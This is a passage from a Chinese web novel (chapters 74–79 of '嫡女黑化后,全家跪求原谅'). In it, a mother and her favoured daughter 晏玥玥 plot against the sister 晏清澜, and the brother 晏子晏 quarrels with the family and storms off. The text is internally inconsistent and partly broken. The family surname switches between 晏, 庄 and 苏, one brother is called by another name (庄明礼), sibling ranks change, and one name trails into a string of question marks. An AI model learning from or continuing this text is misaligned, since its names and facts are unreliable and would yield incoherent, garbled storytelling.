《嫡女黑化后,全家跪求原谅》 第七十四章 算了算了,多说无益。 他正准备开溜,就听见晏玥玥又开始作妖了。 “娘……”晏玥玥的声音,软软糯糯,带着几分哀求,“咱们……真的要把四姐姐接回来吗?她在外面,不是……挺好的吗?” 钱雅芝闻言,眉头微不可察地皱了一下,眼神里闪过一丝厌烦。 但她很快掩饰过去,换上一副慈爱的表情。 可惜,晏玥玥正低着头,压根没看见。 “她把大哥打成那样,又把娘气得吐血,这还没进门呢,就闹成这样……”晏玥玥继续说着,声音越来越小,像是受了天大的委屈,“万一她回来了,把家里闹得鸡飞狗跳,那可怎么办?” 她小心翼翼地拽了拽钱雅芝的袖子,声音里带着一丝不易察觉的颤抖: “娘,我怕……我真的怕四姐姐。万一……万一她哪天不高兴了,对您和爹爹动手,那可如何是好?” 她绞尽脑汁地想着理由,试图阻止晏清澜回府: “要不……要不就让她在外面自生自灭吧?咱们庄家,也不缺她一口饭吃。” 钱雅芝叹了口气,伸手摸了摸晏玥玥的头发,语气无奈: “玥玥,娘也不愿见她。可是你爹……你爹他铁了心,非要让娘把那个死丫头弄回来。” 她顿了顿,眼中闪过一丝精明: “再说了,你忘了?她还得替你嫁给燕王呢。不回来,怎么穿嫁衣?怎么上花轿?” 这才是她大费周章,派人去接晏清澜回来的真正原因。 晏玥玥听了,却并没有因此而高兴。 她反而更加焦躁不安。 “娘,圣旨不是还没下来吗?”她急急地说道,声音都有些变了调,“万一……万一四姐姐跟厉将军说了什么呢?” 她没敢把话说得太明白。 但她相信,以钱雅芝的精明,一定能听懂她的意思。 毕竟,厉无尘对晏清澜那个死丫头,可是好得不得了。 万一晏清澜跟厉无尘哭诉几句,厉无尘在皇上面前美言几句…… 那她的皇后梦,岂不是要彻底破碎? 想到这,晏玥玥的心,就像是被一只无形的大手紧紧攥住,几乎要喘不过气来。 她紧紧地盯着钱雅芝,眼神中充满了祈求: “娘,您想想办法,可不能让四姐姐坏了咱们的好事啊!您和爹爹养了她这么多年,她总得……该付出代价了?” 钱雅芝的脸色,阴沉得可怕。 她当然知道晏玥玥在担心什么。 可是,她也有自己的盘算。 醉月楼的生意,赵家的生意,还有…… 她眼中闪过一丝狠厉。 她绝不能让晏清澜那个贱丫头,毁了她精心策划的一切! 她要让晏清澜生不如死!“娘,您不能再犹豫了!” 晏玥玥死死咬着下唇,指甲几乎掐进掌心的软肉里。她猛地一跺脚,泪珠串儿似的往下掉, “四姐姐她……这两天做的事,您还没看明白吗?” “她根本就没把咱们当成一家人!说不定……说不定还在心里恨着咱们呢!” 钱雅芝张了张嘴,似乎想说什么,却被晏玥玥急切的声音打断。 “她要是在厉将军面前说了什么不中听的,皇上……皇上肯定会让我去和亲的!” 晏玥玥越说越害怕,声音都带上了哭腔, “我不要嫁给燕王!我不要嫁给那个可怕的人!” 她身子微微颤抖,像是被寒风裹挟的落叶,单薄又无助。 脑海中,尽是关于燕王的传闻—— 暴戾、嗜血、杀人如麻…… 每一个字眼,都像一把尖刀,狠狠刺进她的心里。 她不要嫁给那样一个魔鬼! “都怪晏清澜……” 晏玥玥在心里恨恨地想着, “要不是她,我们家怎么会这样?” 明明可以两全其美,庄家不用出银子,她也不用嫁给燕王。 偏偏晏清澜一意孤行,非要搅黄了这门亲事。 归根结底,还不是因为晏清澜嫉妒她! 钱雅芝被她哭得心烦意乱。 小女儿自小就是她的心头肉,捧在手里怕摔了,含在嘴里怕化了,哪里受过这样的委屈? 她连忙伸手,轻轻拭去晏玥玥脸颊上的泪痕, “好,好,玥玥乖,别哭了,娘答应你就是了。” 只是…… 钱雅芝的眉头,还是紧紧地锁着,像是结了一个永远也解不开的疙瘩。 她有些担忧地叹了口气, “可万一……她要是不答应,咱们又能怎么办呢?” 晏明远那老东西,说是为了庄家的脸面,可谁不知道他是舍不得那些聘礼? 钱雅芝暗自撇嘴,澜王府都快揭不开锅了,哪还有什么油水可捞? 她早就盘算好了,挪用一部分赵家的生意周转,再把晏清澜那个死丫头手里的银子弄出来一些,这事儿就过去了。 最关键的是,不能让玥玥去和亲。 可晏清澜那死丫头,摆明了跟他们不是一条心。 钱雅芝越想越气,只觉得胸口闷得慌。 晏玥玥却像是铁了心一般,语气异常坚定: “不,她会的!她一定会答应的!” 她抬起头,眼中闪烁着近乎偏执的光芒, “如果她不答应,我……我就亲自去求厉将军!” 与其在这里担惊受怕,不如主动出击。 晏玥玥心想,左右不过是低个头,服个软,总比嫁给燕王那个活阎王强。 她就不信,陆家人当真能眼睁睁看着她往火坑里跳! 钱雅芝哪里知道她心里的这些小九九,以为她在耍小脾气,不由得失笑, “傻丫头,陆家人跟你姐姐穿一条裤子,你去求他们有什么用?” “行了行了,这事儿你就别操心了,娘自有办法。” 钱雅芝摆了摆手,示意晏玥玥退下。 她现在是一个头两个大,实在没心思应付这个小女儿。 晏玥玥紧紧地抿着唇,没有说话,只是眼底飞快地闪过一丝不以为然。 “我去劝劝阿清吧。” 一直沉默的晏雨珩突然开口了, “她从小就听我的话,这事儿,说不定我能说动她。” 左右不过是让晏清澜去厉将军面前说几句好话,又不是什么难事。 在晏雨珩看来,这事儿十拿九稳。 钱雅芝沉吟片刻,点了点头。 晏清澜那性子,倔得跟头驴似的,软硬不吃。 可偏偏,她对晏雨珩这个二哥,还算有几分情分。 或许,晏雨珩出面,真能说动她。 “夫人,大小姐回来了。” 就在这时,门外突然传来丫鬟的通传声。 钱雅芝一愣,随即眼中闪过一丝喜色, “快,快让她进来!” 她倒要看看,这个死丫头,这次又想耍什么花招! “母亲,我回来了。” 晏芸清走了进来,屈膝一礼。 她今日穿了一身素净的衣裙,头上也未戴任何珠钗,整个人看起来清清冷冷的,像是一朵开在峭壁上的雪莲花。 第七十五章 钱雅芝看着她,心里不由得一阵烦躁。 这个大女儿,从小就跟她不亲。 性子也冷得像块冰,怎么捂都捂不热。 “回来了就好。” 钱雅芝淡淡地应了一声, “你祖母身子不适,你去看看她吧。” 晏芸清点了点头,转身离开了。 她一走,屋子里的气氛,顿时又凝重了几分。 “娘,您别担心,我去去就回。” 晏雨珩说着,也起身离开了。 他得赶紧去找晏清澜,把这事儿给办妥了。 免得夜长梦多,再生出什么事端来。 “这个家,真是……没一个省心的!” 钱雅芝揉了揉眉心,只觉得一阵头疼。 大女儿冷心冷肺,跟她不亲。 二儿子虽然孝顺,却是个没主见的。 三儿子整日里不着家,也不知道在外面忙些什么。 四儿子…… 想到晏子晏,钱雅芝的脸色,顿时又阴沉了几分。 这个儿子,最近是越来越不对劲了。 从前,他最是疼爱玥玥,什么事都顺着她。 可现在…… 钱雅芝想起方才晏子晏的眼神,心里不由得咯噔一下。 难不成,他对玥玥有什么意见? 可玥玥是他的亲妹妹啊! 他怎么能…… 钱雅芝越想越心惊,只觉得一股寒气从脚底板直窜上来。 不行,她得找个机会,好好敲打敲打这个儿子。 可不能让他生出什么不该有的心思来! 晏玥玥站在一旁,大气也不敢出。 她总觉得,今天的气氛有些不对劲。 可具体是哪里不对劲,她又说不上来。 只能眼巴巴地望着钱雅芝,希望她能给自己一个准话。 然而,钱雅芝却像是没看见她似的,自顾自地想着心事。 晏玥玥等了半晌,也没等到一个字。 她心里不由得有些委屈,眼眶也跟着红了起来。 可她又不敢哭出声来,只能死死地咬着嘴唇,不让自己发出声音。 她知道,这个时候,她不能再给母亲添乱了。晏子晏嘴唇动了动,想说什么,终究还是没发出声音。 晏芸清,他的双胞胎妹妹,一个娘胎里出来的,长相不像,性格更是天差地别。 在他的印象里,晏芸清总是端着架子,两人说话,像是隔着一道无形的墙。 他很少见她笑。 倒也不是说晏芸清冷血,只是她脸上的笑容,在晏子晏看来,总带着几分虚假。 他只见过她在祖母面前,才会绽放发自内心的微笑,平日里总是戴着一副面具。 所以,即使两人是双胞胎,他和晏芸清的关系却一直很淡。 - 晏玥玥听了晏子晏的沉默,“咯咯”地笑出声来: “娘,您还不了解长姐嘛?”她学着晏芸清平日里说话的腔调,刻意压低了声音,“她呀,就喜欢那样。” 她又换上一副天真无邪的表情,语气里带着几分得意和炫耀: “不过也只有她那样‘清高’的,才入得了祖母的眼。我可不行,我太闹腾,祖母嫌我烦。” 她这番话,看似在抱怨,实则暗暗贬低了晏芸清,抬高了自己。 晏子晏不易察觉地皱了下眉。 钱雅芝像是被戳中了心事,长长地叹了口气,脸上写满了疲惫和无奈: “唉,还是你好。”她伸手摸了摸晏玥玥的头发,“你长姐……算了,不提她了,越说越心烦。” 她像是突然想起什么似的,语气一转,变得温柔而关切: “玥玥,你好好陪着娘。娘今儿个身子不爽利,多亏了有你在身边。” 晏玥玥立刻乖巧地应了一声,声音甜得发腻:“知道啦,娘。您可得好好保重身子,您今日忽然口吐鲜血昏死过去,真是吓死我了。” 钱雅芝被哄得心花怒放,觉得还是小女儿最贴心。 不像晏清澜和晏芸清,一个跟她不亲,一个到现在连个面都没露。 钱雅芝觉得一阵倦意袭来,就想躺平摆烂。 她摆了摆手,让几个孩子都退下了。 - 晏子晏落在最后,脚步沉重,身影在夕阳下被拉得老长。 晏玥玥走了几步,发现晏子晏没跟上来,又折返回来。 她脸上挂着甜甜的笑,小跑着来到晏子晏身边,伸手想去挽他的胳膊。 “四哥,”她的声音娇滴滴的,“陪我出去玩玩,好不好?” 晏子晏下意识地避开了她的手。 “听说你常和朋友们去校场看赛马,”晏玥玥眨着一双水汪汪的大眼睛,满脸期待,“我也想去看看,你带我去嘛,好不好?” 晏子晏的眉头微微皱了起来,他看着晏玥玥,语气里带着几分疑惑: “你不是很讨厌那些跑马射箭的玩意儿吗?怎么突然想去了?” “人家就是好奇了嘛。”晏玥玥嘟着嘴,声音软糯糯的,“四哥喜欢的东西,一定很有趣。我也想和四哥一样,喜欢四哥喜欢的东西。” 这话要是搁在以前,晏子晏肯定感动得不行。 但现在,他只觉得晏玥玥的笑容,虚假得让人不舒服。 他的眼神冷了下来,声音也变得冷淡: “玥玥,”他顿了顿,一字一句地问,“你脑子里装的都是这些?” 晏玥玥愣了一下,显然没想到他会这么问。 她脸上的笑容僵住了,眼神闪烁,嘴唇也微微颤抖起来。 “四哥,你……你这话什么鬼?”她委屈地吸了吸鼻子,声音里带着一丝哭腔,“你怎么能怀疑我呢?” 她停顿了一下,又补充道:“我承认,我是想去校场看看……看看有没有机会见到厉将军他们。可……可我也是真的想了解四哥你喜欢什么呀!” 她越说越委屈,眼泪在眼眶里打转。 - “四哥,你是不是听信了那些流言蜚语?”晏玥玥的声音哽咽起来,“你是不是也觉得,四姐姐比我强太多,所以……所以你对我已经无感了,你想喜欢四姐姐?” “别扯开话题!”晏子晏的声音冷硬,像一块冰冷的石头。 他面无表情的时候,竟然和晏清澜有几分相似。 他看着晏玥玥,眼神锐利如刀: “玥玥,我平日里是吊儿郎当,喜欢玩闹,说话也不喜欢拐弯抹角。” “可这不代表,我就是个傻子,什么都不懂。” 晏玥玥被他盯得心里发毛,脸色一点点变得苍白。 晏子晏觉得自己过去真是瞎了眼。 一直以来,他都把晏玥玥当成一个天真单纯、不谙世事的小妹妹,需要人保护。 可现在他才发现,这或许只是他一厢情愿的想法。 是母亲长年累月的灌输,让他深信不疑。 他以为,晏玥玥就是一个需要人呵护的、有点傻气的小姑娘。 可这两天发生的事情,却让他开始怀疑,自己是不是一直都看错了人。 他想知道真相。 第七十六章 “你拦着娘,不让她接晏清澜回来,当真是为了娘和几个哥哥好?”晏子晏的声音很轻,却像一把重锤,一下下敲打在晏玥玥的心上,“还是说,你怕她回来,会抢走你的宠爱?” 他深吸了一口气,又问: “你清楚得很娘亲不待见芸芸的为人,为什么还要在她面前说那些话?挑拨离间?” 晏子晏看着眼前这个他一直疼爱的妹妹,只觉得越来越陌生。 “你不喜欢晏清澜,我能理解。可你为什么要针对芸芸?” “她是你长姐,她从未得罪过你,不是吗?” 他多么希望,晏玥玥能立刻否认,告诉他,这些都是他的臆想罢了。 - 然而,晏玥玥只是看着他,突然“哇”的一声哭了出来。 哭声震天,惊动了已经走远的几位兄长。 钱雅芝更是顾不上穿鞋,急匆匆地跑了过来,一把将晏玥玥搂进怀里,心疼地哄着。 晏玥玥哭得喘不过气来,眼睛红肿,像两颗熟透了的桃子。 她一边哭,一边断断续续地指责晏子晏: “四哥哥……你……你干嘛凶我?我……我就是想让你带我去看赛马……” “你……你不想去就算了,干嘛……干嘛要骂我?” “我知道……你这几天心情不好……可你也不能……也不能拿我撒气啊,呜呜呜……” 晏子晏傻眼了。 他张了张嘴,想解释,却发不出任何声音。 “混账东西!”钱雅芝看都没看他一眼,扬手就是一巴掌。 晏景文更是怒不可遏,顾不上身上的伤,冲上来对着晏子晏就是一拳。 晏子晏被打得一个趔趄,险些摔倒。 晏雨珩手忙脚乱地帮晏玥玥擦着眼泪,六神无主。 庄家二哥虽然没动手,但那眼神,分明是在谴责晏子晏。 钱雅芝死死地抱着晏玥玥,指着晏子晏的鼻子破口大骂: “我平时是怎么教你的?啊?” “我叮嘱过你要宠着妹妹!她还小,你不能欺负她!你把我的话都当成放屁了吗!” 晏景文看着晏子晏,眼神像是淬了毒的刀子: “老四,真是令我心寒!” “你平时不务正业,我已经睁一只眼闭一只眼了!现在你居然还敢欺负玥玥!” “你最好立刻跟那些不三不四的人断绝来往!看看你现在,都变成什么样子了!” 出乎意料的是,晏子晏竟然没有反驳。 他呆若木鸡地盯着他们,眼神逐渐变得冰冷、陌生。 没有一个人,听他解释。 没有一个人,问他事情的经过。 就这样,不分青红皂白地,对他拳打脚踢,恶语相向。 晏子晏看着他们,看了很久,突然笑了。 他想起,从前,这样的场景似乎也曾上演过无数次。 只是那时,他是施暴者,而晏芸清和晏清澜,是受害者。“道歉!赶紧给妹妹认个错!” 钱雅芝的声音几乎要掀翻屋顶,她一个箭步冲上去,死死掐住晏子晏的手腕,尖利的指甲几乎要嵌进他的肉里。 晏子晏却像块茅坑里的石头,又臭又硬,杵在那儿一动不动,仿佛压根没听见。 晏景文也黑着一张脸,额角的青筋突突直跳,每个字都像是从牙缝里挤出来的: “是谁给你的胆子欺负小妹?” “玥玥那么乖,那么懂事,你骂她?你良心被狗吃了!” 晏子晏缓缓转过头,盯着晏景文,嘴角慢慢咧开,露出一个古怪的笑容,像是嘲讽,又像是悲凉。 “你也配?” 他猛地一甩手,把钱雅芝甩了个趔趄。钱雅芝尖叫一声,险些摔倒。晏子晏下巴一扬,眼神像刀子一样刮过晏景文: “你也配跟我提‘妹妹’这两个字?” 他突然弯下腰,捡起一块小石子,在手里掂了掂,然后猛地朝晏景文扔过去,石子擦着晏景文的脸颊飞过,留下一道浅浅的血痕。 “你自己干的好事,心里没数吗?” 晏子晏冷笑, “你骂晏清澜的时候,怎么不想想她也是你妹妹?” “晏清澜真是手下留情了,”他故作惋惜地叹了口气,“没把你这张臭嘴打烂,真是可惜!” 晏子晏这人,吃软不吃硬,天生反骨。你跟他好好说,他或许还能听进去几句,可你要是跟他来横的,那他比你还横。 晏景文气得浑身发抖,指着晏子晏的手指像是抽筋了一样: “你……你……混账!能一样吗!” 晏子晏把双手抄进袖子里,懒洋洋地往旁边一靠,摆出一副“你能奈我何”的架势: “怎么不一样?你倒是说说,哪儿不一样?” 他斜着眼睛,上下打量着晏景文, “不都是妹妹?” “我说晏玥玥两句,你就要死要活的,你骂晏清澜的时候,可是什么难听骂什么。” 他故意拉长了声音, “庄、明、礼,你可真行啊!玩双标玩得挺溜,玩得炉火纯青,出神入化啊!” 这话简直像一记耳光,狠狠抽在晏景文脸上。 晏景文气得眼前发黑,差点没背过气去。他哆嗦着嘴唇,指着晏子晏,半天说不出一个字。 “晏清澜算什么东西!她怎么能跟玥玥比!” 钱雅芝终于找到机会插嘴,声音尖利得像一把生锈的刀, “你再敢胡说八道,看我不撕烂你的嘴!” 说着,她就张牙舞爪地扑上来,想要给晏子晏一巴掌。 晏子晏却不躲不闪,反而微微侧过身子,让钱雅芝的巴掌落了个空。他顺势往后一退,退到钱雅芝够不着的地方,然后弯下腰,双手撑在膝盖上,做出一个夸张的呕吐动作。 “yue……” 他抬起头,看着钱雅芝,脸上挂着讥讽的笑: “是是是,她不配,我也不配!您说的都对!” “晏玥玥是天上的仙女,我和晏清澜是地上的烂泥,行了吧?” 他一边说着,一边夸张地拍了拍身上的衣服,仿佛沾上了什么脏东西似的。 “晏夫人,庄六姑娘,”他突然换上一副谄媚的嘴脸,点头哈腰地朝钱雅芝和晏玥玥行礼,“小的给您二位请安了!” “小的有眼不识泰山,冒犯了您二位,您大人有大量,千万别跟小的计较!” 他这副阴阳怪气的样子,把在场的人都气得够呛。 尤其是晏玥玥,眼泪“唰”地一下就下来了,像是断了线的珠子,一颗接一颗地往下掉。 “够了!” 她猛地抬起头,眼睛红得像兔子,死死盯着晏子晏,声音沙哑得不成样子: “四哥,你……你是不是讨厌我?” “你要是讨厌我,你跟我说啊,你打我骂我都行,你为什么要骂娘,为什么要骂大哥?” 她越说越委屈,眼泪掉得更凶了。 第七十七章 晏雨珩心疼坏了,手忙脚乱地帮她擦眼泪,转过头,恶狠狠地瞪着晏子晏: “晏子晏,你太过分了!” “你赶紧给玥玥道歉!平日里你不是最疼她了吗?你今天怎么像变了个人似的!” “你还是不是人!” 晏子晏听了这话,不仅不生气,反而“噗嗤”一声笑了出来。 他往后退了几步,夸张地捂住胸口,做出一副受宠若惊的样子: “哎呦呦,庄三公子,您这话小的可担当不起。” “庄六姑娘是什么人?她可是苏府的宝贝疙瘩,我算什么东西?不过是个逗她开心的玩意儿罢了。” “您老可别这样说话,折煞小的了!” 他转过头,看着哭得梨花带雨的晏玥玥,脸上的笑容瞬间消失,取而代之的是毫不掩饰的厌恶。 “庄六姑娘,您可别哭了,我看着心烦。” 他“啧啧”两声, “您这眼泪,金贵着呢,我可受不起。” “我什么都没说,就挨了一顿打,我要是真说了什么,您还不得把我活剐了?” “我怕死,我可不敢惹您。” 他这话说得阴阳怪气,就差指着晏玥玥的鼻子骂她虚伪了。 “你给我闭嘴!” 一直没说话的晏远舟终于忍不住了,他厉声呵斥道: “你看看你现在像什么样子?还有没有一点规矩了!” 晏子晏最烦的就是晏远舟这副道貌岸然的样子。 平日里装得跟个圣人似的,实际上呢?还不是一肚子坏水! 他斜了晏远舟一眼,冷笑一声: “晏远舟,你少在这儿装好人!” “你以为我不知道你打的什么主意?你不就是想踩着我往上爬吗?” “你别以为你做的那些事没人知道,我告诉你,我看得清清楚楚!”他突然指着晏远舟袖口露出的一截竹叶纹路, “你那些个惺惺作态,我看了就恶心。” 他抬起脚,狠狠地踩在一块碎瓷片上,发出“咔嚓”一声脆响。 “跟你这种人待在一块儿,我都嫌脏!” 他嫌弃地拍了拍衣服,仿佛沾上了什么脏东西似的, “晦气!” 这话说得不可谓不重,简直是把晏远舟的脸面踩在脚底下碾。 钱雅芝气得浑身发抖,眼前一阵阵发黑。她用涂着鲜红蔻丹的手指着晏子晏,声音嘶哑得像是破锣: “你……你这个孽障!给我滚!滚出去!” 晏子晏等的就是这句话。他脚尖一点,轻飘飘地跃起,身形一晃,便消失在了院子里,只留下一声清脆的口哨声在空中回荡: “得嘞,这就滚,不碍您的眼!”“嗖——” 晏子晏跟阵风似的,脚尖点地,人就轻飘飘上了树。 再一眨眼,身形几个起落,已经不知道翻到哪儿去了。 总之,是彻底没影儿了。 钱雅芝一口气堵在胸口,憋得脸都紫了。 她指着晏子晏消失的方向,嗓子都喊破了音: “这个天杀的混账东西!一天到晚不学好!” “净学这些歪门邪道!” 晏子晏从小就是个皮猴儿。 仗着会点三脚猫的功夫,成天不是上房揭瓦就是斗鸡走狗,没个正形。 钱雅芝耳朵都快说出茧子了,他愣是半个字都没听进去。 晏玥玥抽噎着抬起头,眼睛红得像兔子,妆都哭花了。 她拽了拽钱雅芝的袖子,声音又轻又哑,还带着哭腔: “娘,您消消气,四哥哥他……他也不是成心的。” 她咬了咬嘴唇,像是下了好大的决心,才继续说道: “外头那些人,嘴碎得很,指不定说了什么混账话。” “四哥哥这些日子,心情也不好,怕是……一时糊涂,被四姐姐给……给撺掇了。” “他也是为了四姐姐,才……才跟咱们急的……” 钱雅芝只觉得心口一阵阵发疼,像是被人剜了一块肉。 她赶紧把晏玥玥搂进怀里,手轻轻拍着她的背,心疼得不行: “我的儿啊,你怎么就这么实心眼呢?” “晏子晏那个白眼狼,都那样骂你了,你还替他说话!” “他的良心,真是让狗给叼了去!” 晏景文也在旁边唉声叹气,一个劲儿地摇头: “玥玥这孩子,就是太好了,打小就善良,没少让人欺负。” 他顿了顿,语气里多了几分咬牙切齿的味道: “晏子晏竟然拿晏清澜跟玥玥比!” “他也不撒泡尿照照,晏清澜那个黑心烂肺的,配跟玥玥比吗?!” 晏景文气得直捶胸口,恨不得把晏子晏抓回来揍一顿。 “还有晏子晏,整个儿就一胡同串子,哪像个读书人家的公子!” “肯定是跟外头那些个泼皮无赖学的,好的不学,坏的全会!” 晏雨珩眉头紧锁,眼里是掩不住的失望。 他说出的话,却不像晏景文那么难听,带着几分长兄的责备: “子晏这是怎么了?跟吞了炮仗似的,见谁炸谁!” “他跟我们几个闹闹也就算了,怎么能那么说玥玥呢?” 他现在心疼晏玥玥还来不及呢,哪还顾得上其他。 晏玥玥受了委屈,他比自己挨了打还难受。 可他嘴笨,吵架是吵不赢的,只能干着急。 晏远舟站在一边,脸色铁青。 他没像其他人那样,忙着安慰晏玥玥。 他先是冷冷地看了钱雅芝一眼,又把目光转向晏玥玥,眼神晦暗不明。 “娘,我还有事,先走了。” 他声音冷冷的,听不出喜怒。 说完,转身就走,头也不回。 衣袖翻飞间,隐约有股竹叶的清香。 钱雅芝愣了一下,下意识想叫住他,话到嘴边又咽了回去。 她只得叹了口气,紧紧搂住怀里的小女儿,柔声细语地哄着: “玥玥不哭,啊,不哭。你二哥他……他也是让子晏给气糊涂了。” “子晏也真是的,凭啥这样黑你二哥,太过分了!” 在钱雅芝眼里,几个儿子里,晏远舟是最让她省心的。 这孩子,从小到大,就没让她操过心。 晏子晏竟然说晏远舟假正经? 纯属放飞自我! 晏玥玥死死咬着嘴唇,把脸埋在钱雅芝怀里,声音闷闷的,带着浓浓的鼻音: “娘,我没生二哥的气,我……我也不怪四哥,就是……就是心里堵得慌……” 她死死抠着手心,指甲都嵌进肉里去了。 以前,二哥可疼她了。 不管出了什么事,他都会先紧着她。 可今天,就因为四哥说了他几句,他竟然扭头就走,连个眼神都没给她! 还有四哥,过去也是最护着她的。 谁要是敢给她气受,四哥立马带着他那帮狐朋狗友,把人堵在巷子里,套上麻袋就是一顿胖揍。 可现在,他居然帮着晏清澜那个女人说话! 还说她……说她怕别人抢了她的风头,容不下晏清澜,也容不下那个刚认回来的长姐! 第七十八章 晏玥玥觉得胸口闷得快要炸开了。 她根本就不是那样的人! 是四哥自己小心眼,把她想歪了! 爹娘和哥哥们本来就是她一个人的,谁也别想抢走! 四哥说的那些话,简直比刀子还锋利,扎得她心口疼。 “给,拿着玩吧。” 晏雨珩的声音突然响起,打断了她的思绪。 他从腰间解下一个香囊,放进晏玥玥手里,语气温柔得像是能掐出水来。 这感觉,跟哄傻白甜一样。 晏玥玥一愣,从钱雅芝怀里抬起头,低头看向手里的东西。 那是个香囊,鼓鼓囊囊的,上面绣着个四不像的玩意儿,红不红,黄不黄,针脚乱得像狗爬。 她差点没忍住,直接把这玩意儿扔出去。 什么破玩意儿,丑死了! 她捏着香囊的手指微微发抖,强忍着心头的嫌恶,抬起头,怯生生的看着晏雨珩: “三……三哥,真……真给我了?” 她又低下头,声音小得像蚊子哼哼: “我……我笨手笨脚的,弄坏了……可咋办?” “这……这是四姐姐特意给你准备的……” 她记得可清楚了。 当初晏清澜把这香囊给晏雨珩的时候,她还口无遮拦地说,四姐姐这女红也太次了,绣的什么玩意儿,连府里的丫鬟都不如。 晏清澜当时脸都白了,一副要哭出来的样子,手忙脚乱地想把香囊收回去。 可晏雨珩呢? 他不仅没嫌弃,反而笑着接了过去,还挂在了腰上! 他甚至还摸了摸晏清澜的头,温声细语地安慰她。 “好看,阿清第一次做,已经很好了。” “以后多练练,肯定能越做越好。” 晏玥玥清楚的记得,晏雨珩当时笑的有多温柔。 从那以后,她就经常能看到晏雨珩戴着这个丑香囊,晃来晃去。 她也给晏雨珩做过香囊,精致漂亮,比这个丑东西强百倍。 可晏雨珩呢? 新鲜两天就扔一边了,又把那个丑香囊挂上。 她气不过,问他为啥非得戴那个丑东西。 晏雨珩当时怎么说的? 晏玥玥深吸一口气,努力回忆着当时的场景。 “嘘——三哥有件重要的事要和玥玥说。”晏雨珩神秘兮兮的把她拉到一边,低声哄着她。 “三哥做这些,都是为了阿清好。”晏雨珩摸了摸她的头,笑着说道。 “你想啊,阿清身子不好,要哄着她,让她高兴了,身子才能好得快些。” 后来晏清澜去了临川,她倒是很少看见晏雨珩再戴那个丑东西。 只是不知道从什么时候起,他又戴上了。 晏玥玥把香囊紧紧攥在手心里,指甲都快掐进去了。 她抬起头,眼里含着泪光,看着晏雨珩,声音里带着几分委屈和不确定: “三哥……我真的怕弄坏了,要是弄坏了,你……你会不会怪我?四姐姐……会不会也不高兴?” 晏雨珩愣了一下,随即笑了起来,伸手揉了揉她的头发,语气里满是宠溺: “你这丫头,又胡思乱想了不是?” “一个香囊而已,坏了就坏了,有什么打紧?”“知道了,我听三哥的。” 晏玥玥话音刚落,原本紧绷的身体瞬间放松下来,嘴角不自觉地扬起一抹浅浅的弧度。她抬眸看向晏雨珩,眼中闪烁着如释重负的光芒,仿佛卸下了千斤重担。 没什么大不了的事就行。 她在心里暗自庆幸,甚至有一丝隐秘的喜悦悄然滋生。 钱雅芝与晏景文交换了一个眼神,彼此都从对方的眼中读出了一丝无奈与了然。他们没有注意到,在晏玥玥转身之际,一个香囊自她宽大的袖口中滑落,跌落在地,与尘土为伴。 “玥玥,你总算是笑了。”钱雅芝的声音里充满了欣慰与喜悦,她快步上前,用指腹轻轻拭去晏玥玥眼角残留的泪痕,心疼地说道,“瞧你,哭得眼睛跟桃子似的,跟个小花猫似的,一点儿都不像未来的皇后娘娘。” 她从袖中取出一个精致的雕花木盒,小心翼翼地打开,递到晏玥玥面前:“这是阿娘新得的‘珠华膏’,据说是用西域秘法调制的,你拿去试试。女孩子家,容貌最是要紧。” 晏玥玥的眼睛“唰”地一下亮了起来,仿佛夜空中划过的流星。她亲昵地挽住钱雅芝的胳膊,声音里带着几分惊喜和撒娇:“娘,这‘珠华膏’我可是听说了好久,据说比雅韵坊的瑶芳膏还要难得,一颗就能换座宅子!您是从哪儿弄来的呀?” 她歪着脑袋,眼神中充满了好奇与期待,像一只求抚摸的小猫。 那静静躺在地上的香囊,愈发显得微不足道,仿佛从未存在过。 钱雅芝用手指轻轻刮了一下晏玥玥的鼻子,嗔怪道:“你这丫头,就会哄娘开心。这可不是别人送的,是娘花了大价钱买的。” 她顿了顿,声音里带着一丝自豪:“说来也是巧,我听说最近京城里来了一位神秘的制香大师,这‘珠华膏’就是出自她手。可惜这位大师行踪不定,我费了好大的劲儿,才从一位世交那里,花了比市价高五倍的价钱,买到了这么一小盒。” 钱雅芝的目光变得柔和,语气中充满了期盼:“玥玥,你将来可是要母仪天下的人,这张脸可得好好保养。别说五倍的价钱,就是十倍、百倍,只要能让你变得更美,娘都舍得。” 晏玥玥心中涌起一股暖流,她紧紧依偎着钱雅芝,声音软糯:“娘,您对我最好了,什么好东西都想着我……” 钱雅芝轻轻地拍着晏玥玥的后背,柔声细语地安抚着她。 一旁的晏景文和晏雨珩看着这温馨的一幕,无奈地相视一笑。在他们眼中,晏玥玥永远都是那个需要被呵护备至的小妹妹,单纯而美好。 待晏玥玥的情绪完全平复后,钱雅芝才缓缓抬起头,看向晏雨珩,沉声道:“阿珩,你得尽快去找一趟晏清澜,让她去跟陆无 ??????????????提一提玥玥的事。” 她的语气中带着一丝不容置疑的威严,眼神中闪过一抹凌厉:“她对你大哥动手了,又让整个苏府蒙羞,总得给咱们一个交代。” 提起晏清澜,钱雅芝心中的怒火便难以遏制。若不是那个来历不明的野丫头,苏府何至于沦为京城的笑柄?若是玥玥的前程因此事受阻,她定要让晏清澜生不如死! 晏雨珩微微颔首,眉头紧锁。他此行的目的,远不止让晏清澜替晏玥玥美言几句那么简单。他更想劝说晏清澜回家。 不管怎么说,晏清澜也是他的妹妹,岂能长期流落在外? 苏府才是她的家,她理应回到这个家。 第七十九章 …… 与此同时,晏子晏从苏府夺门而出,一路狂奔至护城河边。他随意寻了个相熟的公子哥,拉着人家陪他踢石子。 那公子哥,名叫杨澜,见晏子晏一副失魂落魄的模样,头发凌乱不堪,脸上还印着一个清晰的巴掌印,衣裳更是皱巴巴的,沾满了尘土,不由得愣住了。 “子晏,你这是……跟人干架了?”杨澜上下打量着他,语气中充满了疑惑和惊讶。 他围着晏子晏转了几圈,摸着下巴,啧啧称奇:“这汴京城里,还有人敢对你庄大少爷动手?稀奇,真是稀奇!快说,是哪个吃了熊心豹子胆的?说来听听让我开开眼界!” 晏子晏心里本就烦闷,听到这话,更是气不打一处来。他一把推开杨澜,没好气地说道:“我说杨澜,你是不是存心来看我笑话的?小爷我现在心情不好,你能不能别在这儿添乱?” 他在苏府虽然看似占了上风,把那几个人怼得哑口无言。可实际上,他心里比谁都难受。 他想不通,晏玥玥怎么会变成如今这副模样?难道她从前的乖巧懂事,全都是伪装出来的? 可是,分明……分明玥玥以前不是这样的…… 到底是哪里出了差错?是玥玥变了,还是……他一直以来都看错了她? 晏子晏越想越觉得烦躁,恨不得一脚踢飞眼前的石子,将心中的郁闷一扫而空。 杨澜见他这副模样,知道他是真的动了气,也不再开玩笑。他走到晏子晏身边,拍了拍他的肩膀,小心翼翼地开口:“你该不会……是被你家那位新回来的四妹妹给揍了吧?” 